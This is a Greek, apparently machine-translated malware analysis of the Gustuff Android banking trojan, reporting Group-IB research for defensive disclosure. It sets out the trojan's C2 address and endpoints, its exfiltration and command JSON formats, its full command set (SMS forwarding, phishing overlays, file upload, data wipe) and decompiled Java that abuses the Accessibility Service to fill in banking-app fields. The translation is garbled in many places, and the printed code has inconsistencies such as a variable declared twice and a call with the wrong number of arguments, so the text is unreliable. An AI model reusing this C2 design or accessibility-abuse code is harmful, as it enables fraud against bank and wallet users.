Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας

Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας

Μόλις τις προάλλες Group-IB ανέφερε σχετικά με τη δραστηριότητα του κινητού Android Trojan Gustuff. Λειτουργεί αποκλειστικά σε διεθνείς αγορές, επιτίθεται σε πελάτες των 100 μεγαλύτερων ξένων τραπεζών, χρήστες κινητών πορτοφολιών κρυπτογράφησης 32, καθώς και μεγάλους πόρους ηλεκτρονικού εμπορίου. Αλλά ο προγραμματιστής του Gustuff είναι ένας ρωσόφωνος κυβερνοεγκληματίας με το ψευδώνυμο Bestoffer. Μέχρι πρόσφατα, επαίνεσε το Trojan του ως «ένα σοβαρό προϊόν για ανθρώπους με γνώση και εμπειρία».

Ειδικός ανάλυσης κακόβουλου κώδικα στο Group-IB Ιβάν Πισάρεφ στην έρευνά του, μιλάει αναλυτικά για το πώς λειτουργεί ο Gustuff και ποιοι είναι οι κίνδυνοι του.

Ποιον κυνηγάει ο Gustuff;

Το Gustuff ανήκει σε μια νέα γενιά κακόβουλου λογισμικού με πλήρως αυτοματοποιημένες λειτουργίες. Σύμφωνα με τον προγραμματιστή, το Trojan έχει γίνει μια νέα και βελτιωμένη έκδοση του κακόβουλου λογισμικού AndyBot, το οποίο από τον Νοέμβριο του 2017 επιτίθεται σε τηλέφωνα Android και κλέβει χρήματα μέσω διαδικτυακών μορφών ηλεκτρονικού ψαρέματος που μεταμφιέζονται σε εφαρμογές για κινητές συσκευές γνωστών διεθνών τραπεζών και συστημάτων πληρωμών. Η Bestoffer ανέφερε ότι η τιμή ενοικίασης Gustuff Bot ήταν 800 $ ανά μήνα.

Η ανάλυση του δείγματος Gustuff έδειξε ότι το Trojan στοχεύει δυνητικά πελάτες που χρησιμοποιούν εφαρμογές για κινητές συσκευές των μεγαλύτερων τραπεζών, όπως η Bank of America, η Bank of Scotland, η JPMorgan, η Wells Fargo, η Capital One, η TD Bank, η PNC Bank, καθώς και πορτοφόλια κρυπτογράφησης Πορτοφόλι Bitcoin, BitPay, Cryptopay, Coinbase κ.λπ.

Αρχικά δημιουργήθηκε ως ένα κλασικό τραπεζικό Trojan, στην τρέχουσα έκδοση του ο Gustuff έχει επεκτείνει σημαντικά τη λίστα των πιθανών στόχων για επίθεση. Εκτός από τις εφαρμογές Android για τράπεζες, εταιρείες fintech και υπηρεσίες κρυπτογράφησης, το Gustuff απευθύνεται σε χρήστες εφαρμογών αγοράς, ηλεκτρονικών καταστημάτων, συστημάτων πληρωμών και άμεσων μηνυμάτων. Συγκεκριμένα, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut και άλλα.

Σημείο εισόδου: υπολογισμός για μαζική μόλυνση

Ο Gustuff χαρακτηρίζεται από το «κλασικό» διάνυσμα διείσδυσης σε smartphone Android μέσω αποστολών SMS με συνδέσμους σε APK. Όταν μια συσκευή Android έχει μολυνθεί με έναν Trojan κατόπιν εντολής του διακομιστή, ο Gustuff μπορεί να εξαπλωθεί περαιτέρω μέσω της βάσης δεδομένων επαφών του μολυσμένου τηλεφώνου ή μέσω της βάσης δεδομένων διακομιστή. Η λειτουργικότητα του Gustuff έχει σχεδιαστεί για μαζική μόλυνση και μέγιστη κεφαλαιοποίηση της επιχείρησης των χειριστών του - έχει μια μοναδική λειτουργία "auto-fill" σε νόμιμες εφαρμογές mobile banking και crypto πορτοφόλια, που σας επιτρέπει να επιταχύνετε και να κλιμακώσετε την κλοπή χρημάτων.

Μια μελέτη του Trojan έδειξε ότι η λειτουργία αυτόματης συμπλήρωσης εφαρμόστηκε σε αυτό χρησιμοποιώντας την Υπηρεσία Προσβασιμότητας, μια υπηρεσία για άτομα με ειδικές ανάγκες. Ο Gustuff δεν είναι ο πρώτος Trojan που παρακάμπτει με επιτυχία την προστασία έναντι αλληλεπίδρασης με στοιχεία παραθύρου άλλων εφαρμογών που χρησιμοποιούν αυτήν την υπηρεσία Android. Ωστόσο, η χρήση της Υπηρεσίας Προσβασιμότητας σε συνδυασμό με πλήρωση αυτοκινήτου εξακολουθεί να είναι αρκετά σπάνια.

Μετά τη λήψη στο τηλέφωνο του θύματος, ο Gustuff, χρησιμοποιώντας την Υπηρεσία Προσβασιμότητας, μπορεί να αλληλεπιδρά με στοιχεία παραθύρου άλλων εφαρμογών (τραπεζικές υπηρεσίες, κρυπτονομίσματα, καθώς και εφαρμογές για ηλεκτρονικές αγορές, ανταλλαγή μηνυμάτων κ.λπ.), εκτελώντας τις απαραίτητες ενέργειες για τους εισβολείς . Για παράδειγμα, με εντολή του διακομιστή, ένας Trojan μπορεί να πατήσει κουμπιά και να αλλάξει τις τιμές των πεδίων κειμένου σε τραπεζικές εφαρμογές. Η χρήση του μηχανισμού Accessibility Service επιτρέπει στο Trojan να παρακάμψει τους μηχανισμούς ασφαλείας που χρησιμοποιούνται από τις τράπεζες για την αντιμετώπιση των Trojans για κινητά προηγούμενης γενιάς, καθώς και τις αλλαγές στην πολιτική ασφαλείας που εφαρμόζει η Google σε νέες εκδόσεις του Android OS. Έτσι, ο Gustuff "ξέρει πώς" να απενεργοποιήσει την προστασία Google Protect: σύμφωνα με τον συγγραφέα, αυτή η λειτουργία λειτουργεί στο 70% των περιπτώσεων.

Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας

Το Gustuff μπορεί επίσης να εμφανίζει ψεύτικες ειδοποιήσεις PUSH με εικονίδια νόμιμων εφαρμογών για κινητά. Ο χρήστης κάνει κλικ στην ειδοποίηση PUSH και βλέπει ένα παράθυρο phishing που έχει ληφθεί από τον διακομιστή, όπου εισάγει τα δεδομένα της τραπεζικής κάρτας ή του κρυπτογραφικού πορτοφολιού που ζητήθηκε. Σε ένα άλλο σενάριο Gustuff, ανοίγει η εφαρμογή για λογαριασμό της οποίας εμφανίστηκε η ειδοποίηση PUSH. Σε αυτήν την περίπτωση, το κακόβουλο λογισμικό, κατόπιν εντολής του διακομιστή μέσω της Υπηρεσίας Προσβασιμότητας, μπορεί να συμπληρώσει τα πεδία φόρμας μιας τραπεζικής αίτησης για μια δόλια συναλλαγή.

Η λειτουργία του Gustuff περιλαμβάνει επίσης την αποστολή πληροφοριών για μια μολυσμένη συσκευή στον διακομιστή, τη δυνατότητα ανάγνωσης/ αποστολής μηνυμάτων SMS, αποστολή αιτημάτων USSD, εκκίνηση του SOCKS5 Proxy, ακολουθώντας έναν σύνδεσμο, αποστολή αρχείων (συμπεριλαμβανομένων σαρώσεων φωτογραφιών εγγράφων, στιγμιότυπων οθόνης, φωτογραφιών) στο διακομιστή , επαναφέρετε τη συσκευή στις εργοστασιακές ρυθμίσεις.

Ανάλυση κακόβουλου λογισμικού

Πριν εγκαταστήσετε μια κακόβουλη εφαρμογή, το λειτουργικό σύστημα Android εμφανίζει στον χρήστη ένα παράθυρο που περιέχει μια λίστα δικαιωμάτων που ζητούνται από τον Gustuff:

Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας
Η εφαρμογή θα εγκατασταθεί μόνο μετά τη λήψη της συγκατάθεσης του χρήστη. Μετά την εκκίνηση της εφαρμογής, το Trojan θα εμφανίσει στον χρήστη ένα παράθυρο:

Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας
Μετά από αυτό θα αφαιρέσει το εικονίδιο του.

Το Gustuff συσκευάζεται, σύμφωνα με τον συγγραφέα, από συσκευαστή της FTT. Μετά την εκκίνηση, η εφαρμογή επικοινωνεί περιοδικά με τον διακομιστή CnC για να λάβει εντολές. Πολλά αρχεία που εξετάσαμε χρησιμοποιούσαν μια διεύθυνση IP ως διακομιστή ελέγχου 88.99.171[.]105 (εφεξής θα το ονομάζουμε ως <%CnC%>).

Μετά την εκκίνηση, το πρόγραμμα αρχίζει να στέλνει μηνύματα στον διακομιστή http://<%CnC%>/api/v1/get.php.

Η απάντηση αναμένεται να είναι JSON στην ακόλουθη μορφή:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Κάθε φορά που γίνεται πρόσβαση στην εφαρμογή, στέλνει πληροφορίες σχετικά με τη μολυσμένη συσκευή. Η μορφή του μηνύματος φαίνεται παρακάτω. Αξίζει να σημειωθεί ότι τα χωράφια πλήρη, επιπλέον, εφαρμογές и άδεια – προαιρετικό και θα σταλεί μόνο σε περίπτωση εντολής αιτήματος από το CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Αποθήκευση δεδομένων διαμόρφωσης

Το Gustuff αποθηκεύει λειτουργικά σημαντικές πληροφορίες σε ένα αρχείο προτιμήσεων. Το όνομα του αρχείου, καθώς και τα ονόματα των παραμέτρων σε αυτό, είναι το αποτέλεσμα του υπολογισμού του αθροίσματος MD5 από τη συμβολοσειρά 15413090667214.6.1<%name%>Όπου <%name%> — αρχική ονομασία-τιμή. Ερμηνεία Python της συνάρτησης δημιουργίας ονόματος:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Στη συνέχεια θα το χαρακτηρίσουμε ως nameGenerator(εισαγωγή).
Άρα το πρώτο όνομα αρχείου είναι: nameGenerator("API_SERVER_LIST"), περιέχει τιμές με τα ακόλουθα ονόματα:

Όνομα μεταβλητής Αξία
nameGenerator("API_SERVER_LIST") Περιέχει μια λίστα διευθύνσεων CnC με τη μορφή πίνακα.
nameGenerator("API_SERVER_URL") Περιέχει τη διεύθυνση CnC.
nameGenerator("SMS_UPLOAD") Η σημαία έχει οριστεί από προεπιλογή. Εάν η σημαία έχει οριστεί, στέλνει μηνύματα SMS στο CnC.
nameGenerator("SMS_ROOT_NUMBER") Αριθμός τηλεφώνου στον οποίο θα σταλούν τα μηνύματα SMS που λαμβάνονται από τη μολυσμένη συσκευή. Η προεπιλογή είναι μηδενική.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Η σημαία διαγράφεται από προεπιλογή. Εάν εγκατασταθεί, όταν μια μολυσμένη συσκευή λάβει ένα SMS, θα σταλεί στον αριθμό root.
nameGenerator("DEFAULT_APP_SMS") Η σημαία διαγράφεται από προεπιλογή. Εάν οριστεί αυτή η σημαία, η εφαρμογή θα επεξεργαστεί τα εισερχόμενα μηνύματα SMS.
nameGenerator("DEFAULT_ADMIN") Η σημαία διαγράφεται από προεπιλογή. Εάν έχει οριστεί η σημαία, η εφαρμογή έχει δικαιώματα διαχειριστή.
nameGenerator("DEFAULT_ACCESSIBILITY") Η σημαία διαγράφεται από προεπιλογή. Εάν έχει οριστεί η σημαία, εκτελείται μια υπηρεσία που χρησιμοποιεί την Υπηρεσία Προσβασιμότητας.
nameGenerator ("APPS_CONFIG") Ένα αντικείμενο JSON που περιέχει μια λίστα ενεργειών που πρέπει να εκτελούνται όταν ενεργοποιείται ένα συμβάν προσβασιμότητας που σχετίζεται με μια συγκεκριμένη εφαρμογή.
nameGenerator("APPS_INSTALLED") Αποθηκεύει μια λίστα εφαρμογών που είναι εγκατεστημένες στη συσκευή.
nameGenerator("IS_FIST_RUN") Η σημαία επαναφέρεται στην πρώτη εκκίνηση.
nameGenerator("UNIQUE_ID") Περιέχει ένα μοναδικό αναγνωριστικό. Δημιουργήθηκε όταν το bot εκκινείται για πρώτη φορά.

Μονάδα επεξεργασίας εντολών από τον διακομιστή

Η εφαρμογή αποθηκεύει τις διευθύνσεις των διακομιστών CnC με τη μορφή ενός πίνακα που κωδικοποιείται από Βάση85 γραμμές. Η λίστα των διακομιστών CnC μπορεί να αλλάξει με τη λήψη της κατάλληλης εντολής, οπότε οι διευθύνσεις θα αποθηκευτούν σε ένα αρχείο προτιμήσεων.

Σε απάντηση στο αίτημα, ο διακομιστής στέλνει μια εντολή στην εφαρμογή. Αξίζει να σημειωθεί ότι οι εντολές και οι παράμετροι παρουσιάζονται σε μορφή JSON. Η εφαρμογή μπορεί να επεξεργαστεί τις ακόλουθες εντολές:

Ομάδα Περιγραφή
μπροστινή Έναρξη Ξεκινήστε να στέλνετε μηνύματα SMS που λαμβάνονται από τη μολυσμένη συσκευή στον διακομιστή CnC.
εμπρός Σταματήστε Σταματήστε την αποστολή μηνυμάτων SMS που λαμβάνονται από τη μολυσμένη συσκευή στον διακομιστή CnC.
ussdRun Εκτελέστε αίτημα USSD. Ο αριθμός στον οποίο πρέπει να υποβάλετε ένα αίτημα USSD βρίσκεται στο πεδίο JSON "αριθμός".
αποστολή SMS Στείλτε ένα μήνυμα SMS (εάν είναι απαραίτητο, το μήνυμα "χωρίζεται" σε μέρη). Ως παράμετρος, η εντολή παίρνει ένα αντικείμενο JSON που περιέχει τα πεδία "to" - τον αριθμό προορισμού και "body" - το σώμα του μηνύματος.
sendSmsAb Στείλτε μηνύματα SMS (εάν είναι απαραίτητο, το μήνυμα "χωρίζεται" σε μέρη) σε όλους στη λίστα επαφών της μολυσμένης συσκευής. Το διάστημα μεταξύ της αποστολής μηνυμάτων είναι 10 δευτερόλεπτα. Το σώμα του μηνύματος βρίσκεται στο πεδίο JSON "body"
sendSmsMass Στείλτε μηνύματα SMS (εάν είναι απαραίτητο, το μήνυμα "χωρίζεται" σε μέρη) στις επαφές που καθορίζονται στις παραμέτρους εντολών. Το διάστημα μεταξύ της αποστολής μηνυμάτων είναι 10 δευτερόλεπτα. Ως παράμετρος, η εντολή παίρνει έναν πίνακα JSON (το πεδίο "sms"), τα στοιχεία του οποίου περιέχουν τα πεδία "to" - τον αριθμό προορισμού και "body" - το σώμα του μηνύματος.
changeServer Αυτή η εντολή μπορεί να πάρει μια τιμή με το κλειδί "url" ως παράμετρο - τότε το bot θα αλλάξει την τιμή του nameGenerator("SERVER_URL") ή του "array" - μετά το bot θα γράψει τον πίνακα στο nameGenerator ("API_SERVER_LIST") Έτσι, η εφαρμογή αλλάζει τη διεύθυνση των διακομιστών CnC.
Αριθμός διαχειριστή Η εντολή έχει σχεδιαστεί για να λειτουργεί με έναν αριθμό ρίζας. Η εντολή δέχεται ένα αντικείμενο JSON με τις ακόλουθες παραμέτρους: "number" — αλλαγή nameGenerator("ROOT_NUMBER") στη ληφθείσα τιμή, "resend" — change nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" — αποστολή στο nameGenerator("ROOT_NUMBER" ) μοναδική ταυτότητα.
updateInfo Στείλτε πληροφορίες σχετικά με τη μολυσμένη συσκευή στον διακομιστή.
εκκαθάριση δεδομένων Η εντολή προορίζεται για τη διαγραφή δεδομένων χρήστη. Ανάλογα με το όνομα που ξεκίνησε η εφαρμογή, είτε τα δεδομένα διαγράφονται πλήρως με επανεκκίνηση της συσκευής (κύριος χρήστης), είτε διαγράφονται μόνο τα δεδομένα χρήστη (δευτερεύων χρήστης).
κάλτσεςΈναρξη Εκκινήστε τη μονάδα Proxy. Η λειτουργία της μονάδας περιγράφεται σε ξεχωριστή ενότητα.
κάλτσεςΣταματήστε Διακόψτε τη μονάδα Proxy.
Ανοίξτε σύνδεσμο Ακολουθήστε τον σύνδεσμο. Ο σύνδεσμος βρίσκεται στην παράμετρο JSON κάτω από το κλειδί "url". Το "android.intent.action.VIEW" χρησιμοποιείται για το άνοιγμα του συνδέσμου.
uploadAllSms Στείλτε όλα τα μηνύματα SMS που λαμβάνονται από τη συσκευή στον διακομιστή.
μεταφόρτωσηΌλων των Φωτογραφιών Στείλτε εικόνες από μια μολυσμένη συσκευή σε μια διεύθυνση URL. Το URL έρχεται ως παράμετρος.
ανέβασμα αρχείου Στείλτε ένα αρχείο σε μια διεύθυνση URL από μια μολυσμένη συσκευή. Το URL έρχεται ως παράμετρος.
μεταφορτώστε Αριθμούς τηλεφώνου Στείλτε αριθμούς τηλεφώνου από τη λίστα επαφών σας στον διακομιστή. Εάν μια τιμή αντικειμένου JSON με το κλειδί "ab" ληφθεί ως παράμετρος, η εφαρμογή λαμβάνει μια λίστα επαφών από τον τηλεφωνικό κατάλογο. Εάν ληφθεί ως παράμετρος ένα αντικείμενο JSON με το κλειδί «sms», η εφαρμογή διαβάζει τη λίστα των επαφών από τους αποστολείς των μηνυμάτων SMS.
changeArchive Η εφαρμογή κατεβάζει το αρχείο από τη διεύθυνση που έρχεται ως παράμετρος χρησιμοποιώντας το κλειδί "url". Το ληφθέν αρχείο αποθηκεύεται με το όνομα "archive.zip". Στη συνέχεια, η εφαρμογή θα αποσυμπιέσει το αρχείο, προαιρετικά χρησιμοποιώντας τον κωδικό πρόσβασης αρχείου "b5jXh37gxgHBrZhQ4j3D". Τα αποσυμπιεσμένα αρχεία αποθηκεύονται στον κατάλογο [εξωτερικός χώρος αποθήκευσης]/hgps. Σε αυτόν τον κατάλογο, η εφαρμογή αποθηκεύει απομιμήσεις ιστού (που περιγράφονται παρακάτω).
ενεργειών Η εντολή έχει σχεδιαστεί για να λειτουργεί με το Action Service, το οποίο περιγράφεται σε ξεχωριστή ενότητα.
δοκιμή Να μην κάνεις τίποτα.
κατεβάσετε Η εντολή προορίζεται για τη λήψη ενός αρχείου από έναν απομακρυσμένο διακομιστή και την αποθήκευση του στον κατάλογο "Λήψεις". Η διεύθυνση URL και το όνομα αρχείου έρχονται ως παράμετροι, πεδία στο αντικείμενο παραμέτρου JSON, αντίστοιχα: "url" και "fileName".
αφαιρέστε Αφαιρεί ένα αρχείο από τον κατάλογο "Λήψεις". Το όνομα αρχείου έρχεται σε μια παράμετρο JSON με το κλειδί "fileName". Το τυπικό όνομα αρχείου είναι "tmp.apk".
κοινοποίηση Εμφάνιση μιας ειδοποίησης με κείμενα περιγραφής και τίτλου που ορίζονται από τον διακομιστή διαχείρισης.

Μορφή εντολών κοινοποίηση:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Η ειδοποίηση που δημιουργείται από το υπό εξέταση αρχείο μοιάζει πανομοιότυπη με τις ειδοποιήσεις που δημιουργούνται από την εφαρμογή που καθορίζεται στο πεδίο app. Εάν η τιμή του πεδίου openApp — Αλήθεια, όταν ανοίγει μια ειδοποίηση, εκκινείται η εφαρμογή που καθορίζεται στο πεδίο app. Εάν η τιμή του πεδίου openApp — Λάθος, λοιπόν:

  • Ανοίγει ένα παράθυρο phishing, τα περιεχόμενα του οποίου κατεβαίνουν από τον κατάλογο <%εξωτερικός χώρος αποθήκευσης%>/hgps/<%όνομα αρχείου%>
  • Ανοίγει ένα παράθυρο phishing, τα περιεχόμενα του οποίου κατεβαίνουν από τον διακομιστή <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Ανοίγει ένα παράθυρο phishing, μεταμφιεσμένο σε κάρτα Google Play, με την ευκαιρία να εισαγάγετε τα στοιχεία της κάρτας.

Η εφαρμογή στέλνει το αποτέλεσμα οποιασδήποτε εντολής στο <%CnC%>set_state.php ως αντικείμενο JSON στην ακόλουθη μορφή:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Η λίστα των εντολών που περιλαμβάνει οι διαδικασίες της εφαρμογής δράση. Όταν λαμβάνεται μια εντολή, η μονάδα επεξεργασίας εντολών έχει πρόσβαση σε αυτήν την υπηρεσία για να εκτελέσει την εκτεταμένη εντολή. Η υπηρεσία δέχεται ένα αντικείμενο JSON ως παράμετρο. Η υπηρεσία μπορεί να εκτελέσει τις ακόλουθες εντολές:

1. PARAMS_ACTION — όταν λαμβάνει μια τέτοια εντολή, η υπηρεσία λαμβάνει πρώτα από την παράμετρο JSON την τιμή του κλειδιού Type, η οποία μπορεί να είναι η εξής:

  • serviceInfo – η υποεντολή λαμβάνει την τιμή με κλειδί από την παράμετρο JSON περιλαμβάνειΜηΣημαντικό. Εάν η σημαία είναι True, η εφαρμογή ορίζει τη σημαία FLAG_ISOLATED_PROCESS σε μια υπηρεσία που χρησιμοποιεί την Υπηρεσία Προσβασιμότητας. Με αυτόν τον τρόπο η υπηρεσία θα ξεκινήσει σε ξεχωριστή διαδικασία.
  • ρίζα — λάβετε και στείλτε στον διακομιστή πληροφορίες σχετικά με το παράθυρο που εστιάζεται αυτήν τη στιγμή. Η εφαρμογή λαμβάνει πληροφορίες χρησιμοποιώντας την κλάση AccessibilityNodeInfo.
  • διαχειριστής — ζητήστε δικαιώματα διαχειριστή.
  • delay — ανέστειλε το ActionsService για τον αριθμό των χιλιοστών του δευτερολέπτου που καθορίζεται στην παράμετρο για το κλειδί "data".
  • παράθυρα — στείλτε μια λίστα με παράθυρα ορατά στον χρήστη.
  • εγκαθιστώ — εγκαταστήστε την εφαρμογή στη μολυσμένη συσκευή. Το όνομα του πακέτου αρχειοθέτησης βρίσκεται στο κλειδί "fileName". Το ίδιο το αρχείο βρίσκεται στον κατάλογο Λήψεις.
  • παγκόσμια – η υποεντολή προορίζεται για πλοήγηση από το τρέχον παράθυρο:
    • στο μενού Γρήγορες ρυθμίσεις
    • προς τα πίσω
    • Σπίτι
    • στις ειδοποιήσεις
    • στο παράθυρο εφαρμογών που άνοιξε πρόσφατα

  • ξεκινήσει - εκκινήστε την εφαρμογή. Το όνομα της εφαρμογής έρχεται ως παράμετρος προς κλειδί ημερομηνία.
  • ήχοι — αλλάξτε τη λειτουργία ήχου σε σιωπή.
  • ξεκλειδώσετε — ενεργοποιεί τον οπίσθιο φωτισμό της οθόνης και του πληκτρολογίου σε πλήρη φωτεινότητα. Η εφαρμογή εκτελεί αυτήν την ενέργεια χρησιμοποιώντας το WakeLock, προσδιορίζοντας τη συμβολοσειρά [Application lable]:INFO ως ετικέτα
  • permissionOverlay — η συνάρτηση δεν υλοποιείται (η απάντηση στην εκτέλεση εντολής είναι {"message":"Not support"} ή {"message":"low sdk"})
  • χειρονομία — η συνάρτηση δεν υλοποιείται (η απάντηση στην εκτέλεση εντολής είναι {"message":"Not support"}ή {"message":"Low API"})
  • δικαιώματα — αυτή η εντολή είναι απαραίτητη για να ζητήσετε δικαιώματα για την εφαρμογή. Ωστόσο, η συνάρτηση ερωτήματος δεν υλοποιείται, επομένως η εντολή δεν έχει νόημα. Η λίστα των ζητούμενων δικαιωμάτων έρχεται ως πίνακας JSON με το κλειδί "permissions". Τυπική λίστα:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • ανοίξτε — εμφάνιση ενός παραθύρου phishing. Ανάλογα με την παράμετρο που προέρχεται από τον διακομιστή, η εφαρμογή μπορεί να εμφανίζει τα ακόλουθα παράθυρα phishing:
    • Εμφάνιση ενός παραθύρου phishing του οποίου τα περιεχόμενα είναι γραμμένα σε ένα αρχείο σε έναν κατάλογο <%εξωτερικός κατάλογος%>/hgps/<%param_filename%>. Το αποτέλεσμα της αλληλεπίδρασης του χρήστη με το παράθυρο θα σταλεί στο <%CnC%>/records.php
    • Εμφάνιση ενός παραθύρου phishing του οποίου τα περιεχόμενα είναι προφορτωμένα από τη διεύθυνση <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Το αποτέλεσμα της αλληλεπίδρασης του χρήστη με το παράθυρο θα σταλεί στο <%CnC%>/records.php
    • Εμφάνιση ενός παραθύρου phishing μεταμφιεσμένο σε κάρτα Google Play.

  • διαδραστικό — η εντολή έχει σχεδιαστεί για να αλληλεπιδρά με στοιχεία παραθύρου άλλων εφαρμογών που χρησιμοποιούν το AcessibilityService. Στο πρόγραμμα έχει εφαρμοστεί ειδική υπηρεσία για αλληλεπίδραση. Η εφαρμογή υπό διερεύνηση μπορεί να αλληλεπιδράσει με τα Windows:
    • Επί του παρόντος ενεργός. Σε αυτήν την περίπτωση, η παράμετρος περιέχει το αναγνωριστικό ή το κείμενο (όνομα) του αντικειμένου με το οποίο πρέπει να αλληλεπιδράσετε.
    • Ορατό στον χρήστη τη στιγμή που εκτελείται η εντολή. Η εφαρμογή επιλέγει τα παράθυρα κατά id.

    Έχοντας λάβει αντικείμενα AccessibilityNodeInfo Για στοιχεία παραθύρου που ενδιαφέρουν, η εφαρμογή, ανάλογα με τις παραμέτρους, μπορεί να εκτελέσει τις ακόλουθες ενέργειες:

    • εστίαση — ορίστε την εστίαση στο αντικείμενο.
    • κλικ — κάντε κλικ σε ένα αντικείμενο.
    • actionId — εκτελέστε μια ενέργεια ανά αναγνωριστικό.
    • setText — αλλαγή του κειμένου ενός αντικειμένου. Η αλλαγή του κειμένου είναι δυνατή με δύο τρόπους: εκτελέστε μια ενέργεια ACTION_SET_TEXT (εάν η έκδοση Android της μολυσμένης συσκευής είναι μικρότερη ή ίση με ΓΛΕΙΦΙΤΖΟΥΡΙ), ή τοποθετώντας μια συμβολοσειρά στο πρόχειρο και επικολλώντας την σε ένα αντικείμενο (για παλαιότερες εκδόσεις). Αυτή η εντολή μπορεί να χρησιμοποιηθεί για την αλλαγή δεδομένων σε μια τραπεζική εφαρμογή.

2. PARAMS_ACTIONS - το ίδιο με PARAMS_ACTION, φτάνει μόνο ένας πίνακας εντολών JSON.

Φαίνεται ότι πολλοί άνθρωποι θα ενδιαφέρονται για το πώς μοιάζει η λειτουργία της αλληλεπίδρασης με στοιχεία παραθύρου μιας άλλης εφαρμογής. Αυτός είναι ο τρόπος με τον οποίο υλοποιείται αυτή η λειτουργία στο Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Λειτουργία αντικατάστασης κειμένου:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

